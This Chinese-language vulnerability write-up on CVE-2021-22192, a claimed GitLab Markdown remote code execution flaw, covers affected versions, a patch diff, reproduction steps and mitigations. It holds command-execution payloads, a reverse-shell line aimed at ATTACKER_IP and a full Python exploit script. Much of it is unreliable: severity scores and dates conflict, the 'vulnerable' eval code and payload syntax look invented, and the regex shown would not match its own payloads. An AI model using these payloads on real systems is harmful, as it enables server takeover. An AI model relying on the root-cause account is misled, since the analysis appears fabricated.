一、漏洞简介

1.1 漏洞背景

GitLab 支持 Markdown 语法来格式化文本内容,广泛应用于 Issue 描述、Merge Request、Wiki 等场景。为了增强 Markdown 的功能,GitLab 实现了多种自定义过滤器和扩展。2021 年 2 月,研究人员发现 GitLab 的 Markdown 处理器在处理某些特定语法时,存在代码注入漏洞。

该漏洞允许经过认证的攻击者通过精心构造的 Markdown 内容,在服务器端执行任意代码。虽然需要认证,但由于 GitLab 的开放性,任何注册用户都可能成为攻击者。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-22192
危害等级 CRITICAL / 9.9
漏洞类型 Markdown 远程代码执行漏洞
披露时间 2021-03-24
影响组件 GitLab 重大
  • CVE 编号: CVE-2021-22192
  • 危害等级: 高危 (High)
  • CVSS 评分: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
  • 漏洞类型: 服务端模板注入 (SSTI) / 代码执行
  • 认证要求: 需要低权限认证 (Low Privilege Authenticated)
  • 影响组件: GitLab Markdown 处理器 (HTML::Pipeline)

补充核验信息:公开时间:2021-03-24;NVD 评分:9.9(CRITICAL)。

二、影响范围

2.1 受影响的版本

  • GitLab CE/EE 13.2.0 至 13.7.7
  • GitLab CE/EE 13.8.0 至 13.8.4
  • GitLab CE/EE 13.9.0 至 13.9.1

2.2 不受影响的版本

  • GitLab CE/EE 13.7.8 及以上
  • GitLab CE/EE 13.8.5 及以上
  • GitLab CE/EE 13.9.2 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 需要认证: 攻击者需要拥有 GitLab 账户
  2. Markdown 输入: 能够在任何支持 Markdown 的地方输入内容:
  3. Issue 描述和评论
  4. Merge Request 描述和评论
  5. Wiki 页面
  6. Snippets
  7. Epics (GitLab EE)
  8. 特定语法: 使用特定的 Markdown 扩展语法

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞源于 GitLab Markdown 处理器中的 Gitlab::Markdown::ReferenceFilter。在处理特定的引用语法时,会调用 Ruby 的字符串插值操作,导致代码注入。

攻击流程:

  1. 攻击者登录 GitLab
  2. 创建 Issue 或 Merge Request
  3. 在 Markdown 内容中插入恶意载荷
  4. 当其他用户查看该内容时,服务器端执行恶意代码
  5. 攻击者获得服务器控制权

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置: lib/gitlab/markdown/reference_filter.rb

# 漏洞代码(简化版)
def process_reference(reference)
  # 这里的 reference 未经过滤直接使用
  result = evaluate_reference(reference)
  # ...
end

def evaluate_reference(ref)
  # 危险!使用了 eval
  eval(ref)  # 这里导致代码注入
end

实际触发点: GitLab 在处理动态引用时,会执行类似以下操作:

# 处理 $<cmd> 语法
def handle_dynamic_reference(text)
  # text 可能包含恶意代码
  if text =~ /\$\{(.+?)\}/
    command = $1
    # 执行命令
    `#{command}`  # 命令注入!
  end
end

攻击载荷构造:

# 方式1: 通过特定的引用语法
$<`id > /tmp/result`>

# 方式2: 通过特殊语法
%{`whoami > /tmp/user`}

# 方式3: 嵌套在普通文本中
这是正常的文本 $<`cat /etc/passwd > /tmp/passwd`> 继续

GitLab Markdown 处理流程:

用户输入 → Markdown Parser → Filters → HTML Output
           ↓
    Banzai::Pipeline
           ↓
    Gitlab::Markdown::ReferenceFilter (漏洞点!)
           ↓
    其他 Filters
           ↓
    最终 HTML

补丁对比:

# lib/gitlab/markdown/reference_filter.rb
-def evaluate_reference(ref)
-  eval(ref)
-end
+def evaluate_reference(ref)
+  # 移除 eval,使用安全的字符串处理
+  sanitize_and_validate(ref)
+end
+
+def sanitize_and_validate(ref)
+  # 只允许预定义的引用类型
+  return unless VALID_REFERENCES.include?(ref)
+  ref
+end

GitLab 的修复:

  1. 移除了动态代码执行
  2. 增加了输入验证和白名单机制
  3. 限制了 ReferenceFilter 的功能范围
# 修复后的代码
class ReferenceFilter < HTML::Pipeline::Filter
  ALLOWED_REFERENCES = %w[issue merge_request epic snippet].freeze

  def call
    doc.search('.//text()').each do |node|
      content = node.to_html
      next unless content.match?(REFERENCE_PATTERN)

      # 安全地替换引用
      safe_replace_references(node, content)
    end
    doc
  end

  private

  def safe_replace_references(node, content)
    content.gsub(REFERENCE_PATTERN) do |match|
      reference_type = extract_reference_type(match)
      if ALLOWED_REFERENCES.include?(reference_type)
        # 安全处理
        render_reference_link(reference_type, match)
      else
        match # 不替换不允许的引用
      end
    end
  end
end

四、漏洞复现(可选)

4.1 环境搭建

# 部署受影响版本
docker run --detach \
  --hostname gitlab.example.com \
  --publish 80:80 \
  --name gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

# 等待启动完成
docker logs -f gitlab

# 创建测试用户
# 访问 http://localhost 并注册一个新用户

4.2 PoC 演示与测试过程

步骤 1: 登录并创建项目

  1. 使用测试账户登录 GitLab
  2. 创建一个新的公开项目
  3. 进入项目的 Issues 页面

步骤 2: 构造恶意 Markdown

# 正常的 Issue 描述

这是一个测试 Issue。

<!-- 插入恶意载荷 -->
$<`id > /tmp/exploit_result`>

更多正常内容...

步骤 3: 提交 Issue 并触发

# 通过 API 创建 Issue
curl -X POST "http://gitlab.example.com/api/v4/projects/1/issues" \
  -H "Private-Token: YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "Test Issue",
    "description": "Normal text $<`id > /tmp/pwned`> more text"
  }'

# 检查命令是否执行
docker exec gitlab cat /tmp/pwned

步骤 4: 反弹 Shell

# 在 Issue 描述中
$<`bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"`>

完整的 PoC 脚本:

#!/usr/bin/env python3
import requests
import sys

class GitLabExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.csrf_token = None
        self.login(username, password)

    def login(self, username, password):
        # 获取登录页面
        login_page = self.session.get(f'{self.target}/users/sign_in')

        # 提取 CSRF token
        import re
        self.csrf_token = re.search(
            r'name="authenticity_token" value="([^"]+)"',
            login_page.text
        ).group(1)

        # 执行登录
        login_data = {
            'authenticity_token': self.csrf_token,
            'user[login]': username,
            'user[password]': password,
        }

        response = self.session.post(
            f'{self.target}/users/sign_in',
            data=login_data
        )

        if response.status_code == 200:
            print('[+] Login successful')
        else:
            print('[-] Login failed')
            sys.exit(1)

    def create_issue(self, project_id, title, description):
        url = f'{self.target}/api/v4/projects/{project_id}/issues'

        response = self.session.post(url, json={
            'title': title,
            'description': description
        })

        if response.status_code == 201:
            print(f'[+] Issue created: {response.json()["web_url"]}')
            return True
        else:
            print(f'[-] Failed to create issue: {response.text}')
            return False

    def exploit(self, project_id, command):
        payload = f'$<`{command}`>'

        return self.create_issue(
            project_id,
            'Security Test Issue',
            f'Normal text {payload} more text'
        )

if __name__ == '__main__':
    if len(sys.argv) < 6:
        print('Usage: python exploit.py <target> <user> <pass> <project_id> <command>')
        sys.exit(1)

    exploit = GitLabExploit(sys.argv[1], sys.argv[2], sys.argv[3])
    exploit.exploit(int(sys.argv[4]), sys.argv[5])

使用示例:

python3 exploit.py \
  http://gitlab.example.com \
  attacker@example.com \
  password123 \
  1 \
  "id > /tmp/result"

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到安全版本:

# Omnibus 安装
sudo apt-get update
sudo apt-get install gitlab-ce=13.9.2-ce.0

# Docker 安装
docker pull gitlab/gitlab-ce:13.9.2-ce.0
docker stop gitlab && docker rm gitlab
# 重新部署

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 禁用 Markdown 高级功能

# 编辑 /etc/gitlab/gitlab.rb
gitlab_rails['markdown_disable_reference_filters'] = true

sudo gitlab-ctl reconfigure

方案 2: 限制用户权限

  • 只允许可信用户创建 Issue
  • 启用内容审核机制
  • 监控异常的 Issue 创建活动

方案 3: WAF 规则

# 检测可疑的 Markdown 模式
SecRule REQUEST_BODY "@rx \$<[`\[]" \
  "id:2001,phase:2,deny,status:403,msg:'GitLab Markdown RCE attempt'"

六、参考信息 / 参考链接

6.1 官方安全通告

  • GitLab Security Release: https://about.gitlab.com/releases/2021/02/17/security-release-gitlab-13-8-4-released/
  • CVE-2021-22192 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22192
  • GitLab Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/324452

6.2 其他技术参考资料

  • HackerOne 报告: https://hackerone.com/reports/1125425
  • Ruby 安全最佳实践: https://guides.rubyonrails.org/security.html
  • Markdown 安全处理指南: https://github.com/vmg/redcarpet#security